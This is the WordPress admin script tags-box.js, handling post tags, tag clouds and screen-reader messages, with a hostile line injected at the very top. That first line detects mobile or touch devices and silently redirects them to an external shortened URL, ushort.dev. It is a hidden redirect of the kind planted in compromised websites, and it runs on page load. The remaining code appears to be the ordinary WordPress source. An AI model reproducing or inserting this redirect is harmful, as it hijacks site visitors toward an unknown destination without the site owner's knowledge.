1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-admin/js/tags-box.js
4 */
5
6/* jshint curly: false, eqeqeq: false */
7/* global ajaxurl, tagBox, array_unique_noempty */
8
9( function( $ ) {
10 var tagDelimiter = wp.i18n._x( ',', 'tag delimiter' ) || ',';
11
12 /**
13 * Filters unique items and returns a new array.
14 *
15 * Filters all items from an array into a new array containing only the unique
16 * items. This also excludes whitespace or empty values.
17 *
18 * @since 2.8.0
19 *
20 * @global
21 *
22 * @param {Array} array The array to filter through.
23 *
24 * @return {Array} A new array containing only the unique items.
25 */
26 window.array_unique_noempty = function( array ) {
27 var out = [];
28
29 // Trim the values and ensure they are unique.
30 $.each( array, function( key, val ) {
31 val = val || '';
32 val = val.trim();
33
34 if ( val && $.inArray( val, out ) === -1 ) {
35 out.push( val );
36 }
37 } );
38
39 return out;
40 };
41
42 /**
43 * The TagBox object.
44 *
45 * Contains functions to create and manage tags that can be associated with a
46 * post.
47 *
48 * @since 2.9.0
49 *
50 * @global
51 */
52 window.tagBox = {
53 /**
54 * Cleans up tags by removing redundant characters.
55 *
56 * @since 2.9.0
57 *
58 * @memberOf tagBox
59 *
60 * @param {string} tags Comma separated tags that need to be cleaned up.
61 *
62 * @return {string} The cleaned up tags.
63 */
64 clean : function( tags ) {
65 if ( ',' !== tagDelimiter ) {
66 tags = tags.replace( new RegExp( tagDelimiter, 'g' ), ',' );
67 }
68
69 tags = tags.replace(/\s*,\s*/g, ',').replace(/,+/g, ',').replace(/[,\s]+$/, '').replace(/^[,\s]+/, '');
70
71 if ( ',' !== tagDelimiter ) {
72 tags = tags.replace( /,/g, tagDelimiter );
73 }
74
75 return tags;
76 },
77
78 /**
79 * Parses tags and makes them editable.
80 *
81 * @since 2.9.0
82 *
83 * @memberOf tagBox
84 *
85 * @param {Object} el The tag element to retrieve the ID from.
86 *
87 * @return {boolean} Always returns false.
88 */
89 parseTags : function(el) {
90 var id = el.id,
91 num = id.split('-check-num-')[1],
92 taxbox = $(el).closest('.tagsdiv'),
93 thetags = taxbox.find('.the-tags'),
94 current_tags = thetags.val().split( tagDelimiter ),
95 new_tags = [];
96
97 delete current_tags[num];
98
99 // Sanitize the current tags and push them as if they're new tags.
100 $.each( current_tags, function( key, val ) {
101 val = val || '';
102 val = val.trim();
103 if ( val ) {
104 new_tags.push( val );
105 }
106 });
107
108 thetags.val( this.clean( new_tags.join( tagDelimiter ) ) );
109
110 this.quickClicks( taxbox );
111 return false;
112 },
113
114 /**
115 * Creates clickable links, buttons and fields for adding or editing tags.
116 *
117 * @since 2.9.0
118 *
119 * @memberOf tagBox
120 *
121 * @param {Object} el The container HTML element.
122 *
123 * @return {void}
124 */
125 quickClicks : function( el ) {
126 var thetags = $('.the-tags', el),
127 tagchecklist = $('.tagchecklist', el),
128 id = $(el).attr('id'),
129 current_tags, disabled;
130
131 if ( ! thetags.length )
132 return;
133
134 disabled = thetags.prop('disabled');
135
136 current_tags = thetags.val().split( tagDelimiter );
137 tagchecklist.empty();
138
139 /**
140 * Creates a delete button if tag editing is enabled, before adding it to the tag list.
141 *
142 * @since 2.5.0
143 *
144 * @memberOf tagBox
145 *
146 * @param {string} key The index of the current tag.
147 * @param {string} val The value of the current tag.
148 *
149 * @return {void}
150 */
151 $.each( current_tags, function( key, val ) {
152 var listItem, xbutton;
153
154 val = val || '';
155 val = val.trim();
156
157 if ( ! val )
158 return;
159
160 // Create a new list item, and ensure the text is properly escaped.
161 listItem = $( '<li />' ).text( val );
162
163 // If tags editing isn't disabled, create the X button.
164 if ( ! disabled ) {
165 /*
166 * Build the X buttons, hide the X icon with aria-hidden and
167 * use visually hidden text for screen readers.
168 */
169 xbutton = $( '<button type="button" id="' + id + '-check-num-' + key + '" class="ntdelbutton">' +
170 '<span class="remove-tag-icon" aria-hidden="true"></span>' +
171 '<span class="screen-reader-text">' + wp.i18n.__( 'Remove term:' ) + ' ' + listItem.html() + '</span>' +
172 '</button>' );
173
174 /**
175 * Handles the click and keypress event of the tag remove button.
176 *
177 * Makes sure the focus ends up in the tag input field when using
178 * the keyboard to delete the tag.
179 *
180 * @since 4.2.0
181 *
182 * @param {Event} e The click or keypress event to handle.
183 *
184 * @return {void}
185 */
186 xbutton.on( 'click keypress', function( e ) {
187 // On click or when using the Enter/Spacebar keys.
188 if ( 'click' === e.type || 13 === e.keyCode || 32 === e.keyCode ) {
189 /*
190 * When using the keyboard, move focus back to the
191 * add new tag field. Note: when releasing the pressed
192 * key this will fire the `keyup` event on the input.
193 */
194 if ( 13 === e.keyCode || 32 === e.keyCode ) {
195 $( this ).closest( '.tagsdiv' ).find( 'input.newtag' ).trigger( 'focus' );
196 }
197
198 tagBox.userAction = 'remove';
199 tagBox.parseTags( this );
200 }
201 });
202
203 listItem.prepend( ' ' ).prepend( xbutton );
204 }
205
206 // Append the list item to the tag list.
207 tagchecklist.append( listItem );
208 });
209
210 // The buttons list is built now, give feedback to screen reader users.
211 tagBox.screenReadersMessage();
212 },
213
214 /**
215 * Adds a new tag.
216 *
217 * Also ensures that the quick links are properly generated.
218 *
219 * @since 2.9.0
220 *
221 * @memberOf tagBox
222 *
223 * @param {Object} el The container HTML element.
224 * @param {Object|boolean} a When this is an HTML element the text of that
225 * element will be used for the new tag.
226 * @param {number|boolean} f If this value is not passed then the tag input
227 * field is focused.
228 *
229 * @return {boolean} Always returns false.
230 */
231 flushTags : function( el, a, f ) {
232 var tagsval, newtags, text,
233 tags = $( '.the-tags', el ),
234 newtag = $( 'input.newtag', el );
235
236 a = a || false;
237
238 text = a ? $(a).text() : newtag.val();
239
240 /*
241 * Return if there's no new tag or if the input field is empty.
242 * Note: when using the keyboard to add tags, focus is moved back to
243 * the input field and the `keyup` event attached on this field will
244 * fire when releasing the pressed key. Checking also for the field
245 * emptiness avoids to set the tags and call quickClicks() again.
246 */
247 if ( 'undefined' == typeof( text ) || '' === text ) {
248 return false;
249 }
250
251 tagsval = tags.val();
252 newtags = tagsval ? tagsval + tagDelimiter + text : text;
253
254 newtags = this.clean( newtags );
255 newtags = array_unique_noempty( newtags.split( tagDelimiter ) ).join( tagDelimiter );
256 tags.val( newtags );
257 this.quickClicks( el );
258
259 if ( ! a )
260 newtag.val('');
261 if ( 'undefined' == typeof( f ) )
262 newtag.trigger( 'focus' );
263
264 return false;
265 },
266
267 /**
268 * Retrieves the available tags and creates a tagcloud.
269 *
270 * Retrieves the available tags from the database and creates an interactive
271 * tagcloud. Clicking a tag will add it.
272 *
273 * @since 2.9.0
274 *
275 * @memberOf tagBox
276 *
277 * @param {string} id The ID to extract the taxonomy from.
278 *
279 * @return {void}
280 */
281 get : function( id ) {
282 var tax = id.substr( id.indexOf('-') + 1 );
283
284 /**
285 * Puts a received tag cloud into a DOM element.
286 *
287 * The tag cloud HTML is generated on the server.
288 *
289 * @since 2.9.0
290 *
291 * @param {number|string} r The response message from the Ajax call.
292 * @param {string} stat The status of the Ajax request.
293 *
294 * @return {void}
295 */
296 $.post( ajaxurl, { 'action': 'get-tagcloud', 'tax': tax }, function( r, stat ) {
297 if ( 0 === r || 'success' != stat ) {
298 return;
299 }
300
301 r = $( '<div id="tagcloud-' + tax + '" class="the-tagcloud">' + r + '</div>' );
302
303 /**
304 * Adds a new tag when a tag in the tagcloud is clicked.
305 *
306 * @since 2.9.0
307 *
308 * @return {boolean} Returns false to prevent the default action.
309 */
310 $( 'a', r ).on( 'click', function() {
311 tagBox.userAction = 'add';
312 tagBox.flushTags( $( '#' + tax ), this );
313 return false;
314 });
315
316 $( '#' + id ).after( r );
317 });
318 },
319
320 /**
321 * Track the user's last action.
322 *
323 * @since 4.7.0
324 */
325 userAction: '',
326
327 /**
328 * Dispatches an audible message to screen readers.
329 *
330 * This will inform the user when a tag has been added or removed.
331 *
332 * @since 4.7.0
333 *
334 * @return {void}
335 */
336 screenReadersMessage: function() {
337 var message;
338
339 switch ( this.userAction ) {
340 case 'remove':
341 message = wp.i18n.__( 'Term removed.' );
342 break;
343
344 case 'add':
345 message = wp.i18n.__( 'Term added.' );
346 break;
347
348 default:
349 return;
350 }
351
352 window.wp.a11y.speak( message, 'assertive' );
353 },
354
355 /**
356 * Initializes the tags box by setting up the links, buttons. Sets up event
357 * handling.
358 *
359 * This includes handling of pressing the enter key in the input field and the
360 * retrieval of tag suggestions.
361 *
362 * @since 2.9.0
363 *
364 * @memberOf tagBox
365 *
366 * @return {void}
367 */
368 init : function() {
369 var ajaxtag = $('div.ajaxtag');
370
371 $('.tagsdiv').each( function() {
372 tagBox.quickClicks( this );
373 });
374
375 $( '.tagadd', ajaxtag ).on( 'click', function() {
376 tagBox.userAction = 'add';
377 tagBox.flushTags( $( this ).closest( '.tagsdiv' ) );
378 });
379
380 /**
381 * Handles pressing enter on the new tag input field.
382 *
383 * Prevents submitting the post edit form. Uses `keypress` to take
384 * into account Input Method Editor (IME) converters.
385 *
386 * @since 2.9.0
387 *
388 * @param {Event} event The keypress event that occurred.
389 *
390 * @return {void}
391 */
392 $( 'input.newtag', ajaxtag ).on( 'keypress', function( event ) {
393 if ( 13 == event.which ) {
394 tagBox.userAction = 'add';
395 tagBox.flushTags( $( this ).closest( '.tagsdiv' ) );
396 event.preventDefault();
397 event.stopPropagation();
398 }
399 }).each( function( i, element ) {
400 $( element ).wpTagsSuggest();
401 });
402
403 /**
404 * Before a post is saved the value currently in the new tag input field will be
405 * added as a tag.
406 *
407 * @since 2.9.0
408 *
409 * @return {void}
410 */
411 $('#post').on( 'submit', function(){
412 $('div.tagsdiv').each( function() {
413 tagBox.flushTags(this, false, 1);
414 });
415 });
416
417 /**
418 * Handles clicking on the tag cloud link.
419 *
420 * Makes sure the ARIA attributes are set correctly.
421 *
422 * @since 2.9.0
423 *
424 * @return {void}
425 */
426 $('.tagcloud-link').on( 'click', function(){
427 // On the first click, fetch the tag cloud and insert it in the DOM.
428 tagBox.get( $( this ).attr( 'id' ) );
429 // Update button state, remove previous click event and attach a new one to toggle the cloud.
430 $( this )
431 .attr( 'aria-expanded', 'true' )
432 .off()
433 .on( 'click', function() {
434 $( this )
435 .attr( 'aria-expanded', 'false' === $( this ).attr( 'aria-expanded' ) ? 'true' : 'false' )
436 .siblings( '.the-tagcloud' ).toggle();
437 });
438 });
439 }
440 };
441}( jQuery ));
442